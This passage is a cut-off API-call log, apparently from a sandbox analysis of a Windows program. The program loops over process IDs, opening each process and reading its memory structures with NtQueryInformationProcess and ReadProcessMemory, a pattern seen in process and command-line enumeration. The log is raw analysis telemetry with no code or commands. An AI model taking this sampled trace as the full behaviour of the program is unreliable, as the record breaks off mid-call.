_Value=0x1b8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0166.441] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="440") returned 3 [0166.442] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.442] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.465] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x26c [0166.465] GetLastError () returned 0x0 [0166.466] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.466] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.466] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.466] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f146e03400, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.466] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f146e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.467] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.469] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.469] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.469] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.470] malloc (_Size=0x82) returned 0x196ef0d31b0 [0166.470] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef0d31b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.470] free (_Block=0x196ef0d31b0) [0166.471] CloseHandle (hObject=0x26c) returned 1 [0166.472] _ui64tow_s (in: _Value=0x460, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0166.477] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1120") returned 4 [0166.479] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.479] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x26c [0166.503] GetLastError () returned 0x0 [0166.503] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.503] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x448f0b2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.503] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.503] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.504] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.505] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.507] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.507] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x448f0b2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.507] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.507] malloc (_Size=0x66) returned 0x196ef0d03e0 [0166.507] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d03e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0166.508] free (_Block=0x196ef0d03e0) [0166.509] CloseHandle (hObject=0x26c) returned 1 [0166.510] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0166.516] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1240") returned 4 [0166.518] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.518] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x26c [0166.539] GetLastError () returned 0x0 [0166.539] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.539] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ff018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.539] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1b70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1818, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.541] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.542] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.542] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ff020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.542] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.543] malloc (_Size=0x42) returned 0x196ef0cc850 [0166.543] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0cc850, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0cc850*, lpNumberOfBytesRead=0x0) returned 1 [0166.543] free (_Block=0x196ef0cc850) [0166.544] CloseHandle (hObject=0x26c) returned 1 [0166.545] _ui64tow_s (in: _Value=0x580, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0166.549] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1408") returned 4 [0166.551] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.551] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x26c [0166.588] GetLastError () returned 0x0 [0166.588] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.588] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xada0213018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.588] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.588] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.588] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670ffc3f0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.589] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.591] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.591] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xada0213020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.591] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.591] malloc (_Size=0x18) returned 0x196ef0d1c20 [0166.591] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1c20, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1c20*, lpNumberOfBytesRead=0x0) returned 1 [0166.591] free (_Block=0x196ef0d1c20) [0166.592] CloseHandle (hObject=0x26c) returned 1 [0166.593] _ui64tow_s (in: _Value=0x634, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0166.598] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1588") returned 4 [0166.599] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.600] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.617] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x26c [0166.617] GetLastError () returned 0x0 [0166.617] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.617] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x10d4688018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.617] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.618] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.618] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.626] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.627] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.627] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x10d4688020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.627] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.627] malloc (_Size=0x64) returned 0x196ef0d03e0 [0166.628] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0166.628] free (_Block=0x196ef0d03e0) [0166.629] CloseHandle (hObject=0x26c) returned 1 [0166.630] _ui64tow_s (in: _Value=0x698, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0166.635] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1688") returned 4 [0166.637] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.637] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x26c [0166.654] GetLastError () returned 0x0 [0166.654] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.655] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x39e61be018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.655] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.655] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.655] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a332e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.656] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.658] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.658] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x39e61be020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.658] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.658] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0166.658] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0166.659] free (_Block=0x196ef0d03e0) [0166.660] CloseHandle (hObject=0x26c) returned 1 [0166.660] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0166.666] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2024") returned 4 [0166.667] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.667] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.698] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x26c [0166.698] GetLastError () returned 0x0 [0166.698] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.698] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x39a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.698] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.698] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5a1c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.699] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5a18e8, lpBuffer=0x670ffc3f0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.700] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.701] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.702] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x39a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.702] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5a12d0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.702] malloc (_Size=0x32) returned 0x196ef0d1810 [0166.702] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d1810, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1810*, lpNumberOfBytesRead=0x0) returned 1 [0166.702] free (_Block=0x196ef0d1810) [0166.703] CloseHandle (hObject=0x26c) returned 1 [0166.704] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0166.709] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="736") returned 3 [0166.711] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.711] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x26c [0166.736] GetLastError () returned 0x0 [0166.736] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.736] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xa6def54018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.736] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.736] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.736] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670ffc3f0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.738] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.739] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.740] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xa6def54020, lpBuffer=0x670ffc1b0, nSize=0x8, 